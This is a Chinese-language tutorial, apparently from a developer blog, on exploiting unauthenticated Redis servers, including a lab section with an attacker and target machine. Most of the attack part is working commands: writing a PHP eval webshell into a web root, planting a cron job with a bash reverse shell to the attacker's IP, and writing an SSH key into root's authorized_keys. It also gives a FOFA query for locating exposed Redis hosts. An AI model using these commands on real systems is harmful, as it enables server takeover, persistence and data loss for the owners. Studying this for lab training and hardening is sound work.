13 redis未授权访问漏洞

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: 未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配致其他用户可以无需认证授权真接访问从而引发重票权限可被操作、数据目录等敏感信息泄察

常见未授权访问漏洞
Redis未授权访问漏洞 ZooKeeper未授权访问漏洞 Docker未授权访问漏洞 Rsync未授权访问漏洞 MongoDB 未授权访问漏洞 Atlassian Crowd 未授权访问漏洞 Jenkins未授权访问漏洞 CouchDB未授权访问漏洞 Memcached 未授权访问漏洞 Elasticsearch 未授权访问漏洞 JBOSS未授权访问漏洞 Hadoop未授权访问漏洞 VNC未授权访问漏洞 Jupyter Notebook 未授权访问漏洞

Redis未授权访问特征
redis 6379
MongoDB: 27017 Memcached: 1121 Jboss: 8080 Docker: 2375 MySQL: 3306 CouchDB

端口扫描工具:Railgun
image.png

redis简介
Redis是一个完全开源的高性能key-value 数据库。
1.去最新n个数据的操作 2.排行榜,取top n个数据/∥最佳人气渤10条 3.精确的设置过期时间 4.计数器 5.实时系统,反垃圾系统 6.pub,sub发布订阅构建实时消息系统 7.构建消息队列 8.缓存
redis常见命令
redis连接远程服务器
redis-cli -h best -p port -a password

set testkey "Hello World"

设置键testkey的值为字符串Hello Wor

获取键testkey的内容

get testkey

设置键score的值为99

set score 99

使用INCR命令将score的值增加1

incr score

获取键score的内容

get score

keys* #列出当前数据库中所有的键
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作
flushall #删除所有数据(慎用)
del key #删除键为key的数据

● redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
1.导致敏感信息泄露
2.执行flushall可清空所有数据
3.通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
4.如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
● redis主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在rediss中
现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目

redis未授权访问利用
1.通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限 2.通过redis数据备份功能写定时任务,通过定时任务反弹Shell 3.通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

1.下载连接程序
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
注意目录:
image.png

tar -zxvf redis-6.0.3.tar.gz //解
cd redis-6.0.3/
make //编译
cd src/
cp redis-cli/usr/bin 拷贝到usr/bin 可以全局使用 //客户端连接程序

第一种:写入一句话webshell
条件:
1.知道网站根目录绝对路径 2.对目标网站根目录有写入权限
redis-cli -h 10.1.8.59 -p 6379
config set dir /www/wwwroot/ThinkPHP/public //网站根目录
config set dbfilename shell.php
set x"<?php @eval($_POST['cmd']);?>" save

image.png

image.png

webshell管理工具连接

image.png

第二种:写入定时任务启动webshell
redis-cli -h 192.168.8.59
set xxx "\n\n/1 */bin/bash -i>& /dev/tcp/192.168.8.80/7777
get XXX 查看设置内容
config set dir /var/spool/cron config set dbfilename root save
有部分linux的定时任务目录不在/var/spool/cron 下, 可能存在/var/spool/cron/erontabs下,我们可以在 使用config set dir 命令时进行判断是否存在该目录

● 写入SSH公钥
1.ssh-keygen -t rsa //生成ssh公私钥匙 生成到root目录下面的.ssh
2.(echo-e"\n\n":cat~/.ssh/id rsa.pub;echo-e"\n\n")>foo.txt //创建一个文件名为foot,并写入公钥内容
3.cat /foo.txt | redis-cli -h 192.168.1.200-p 6379 -x set sshkey //使用管道符把foot文件中的内容写入到键值sshkey中

  1. redis-cli -h 192.168.1.200 -p 6379 //连接redis数据库
  2. config set dir /root/.ssh //设置备份目录为root 下的.ssh目录

6.config set dbfilename "authorized keys" //设置备份文件名为authorized keys

  1. save //保存键值内容至文件中

8.ssh root@139.9.198.30-i~/.ssh/id_rsa //使用ssh进行连接,用私钥进行连接

fofo搜索redis未授权访问漏洞
port="6379" && county="CN"

预备知识
Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似。Redis支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,Redis支持各种不同方式的排序。与Memcached一样,为了保证效率,数据都是缓存在内存中。区别的是Redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis也是一个高性能的key-value数据库。Redis的出现,很大程度补偿了Memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复 制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

image.png

Redis常用命令:
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据(慎用)
del key # 删除键为key的数据
Redis安全相关实验:《Redis数据库安全实践》
实验目的
通过本实验掌握Redis未授权访问漏洞的常见利用方式。
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100

实验步骤一
任务描述:进行信息收集,寻找可能利用的点

  1. 通过nmap进行端口扫描,发现如下端口开放:

22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务
image.png

  1. 已知目标开放了80端口,使用浏览器尝试访问发现是一个测试页面:

image.png

  1. 通过目录扫描发现网站敏感目录或敏感页面,发现存在phpinfo信息泄露:

image.png

  1. 目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞:

首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:
tar -zxf redis-6.0.3.tar.gz
cd redis-6.0.3
make
image.png

编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli:
cd src/
cp redis-cli /usr/bin
cd ../../
redis-cli -h 10.1.1.200 -p 6379
image.png

-h:指定连接的redis服务器
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
如上图可以看到的确存在Redis未授权访问漏洞。
实验步骤二
任务描述:进行Redis未授权访问漏洞利用。

  1. Redis未授权写webshell

1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
image.png

通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x "<?php @eval($_POST['test']);?>" #添加一个键”x”,值为一句话木马
save #保存

image.png

注意:设置键值为一句话木马时,可以使用如下形式:
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

image.png

image.png

通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:
然后即可通过工具包里面提供的蚁剑连接一句话木马:

  1. Redis未授权写定时任务反弹shell

1)Kali使用nc开启监听,kali终端下执行如下命令:
nc -lvvp 4433
2.)执行如下命令写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set xx "\n\n/1 * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1

config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
image.png

3)等待一分钟后即可得到目标shell:

image.png

  1. Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
ssh-keygen -t rsa

image.png

2)将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

image.png

3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
4)连接Redis
redis-cli -h 10.1.1.200 -p 6379
5)设置备份文件路径
config set dir /root/.ssh/
6)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"
save

image.png

7)远程连接目标机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
image.png

image.png

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
3月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
|
1月前
|
安全 NoSQL 网络安全
漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现
|
3月前
|
缓存 负载均衡 NoSQL
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
|
3月前
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
|
3月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
|
3月前
|
缓存 NoSQL Redis
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
|
3月前
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
|
3月前
|
缓存 NoSQL 网络协议
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
|
3月前
|
网络协议 NoSQL 网络安全
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
|
NoSQL Redis
redis外部访问
1、redis的搭建这里就不做描述的了,可以参考我的另外一个博客。 http://www.cnblogs.com/ll409546297/p/6993778.html 2、说明一下我们在其他服务器上面不能访问自己搭建的redis服务器的原因   1)bind 127.0.0.1 因为redis.conf中默认是配置的bind 127.0.0.1。
1288 0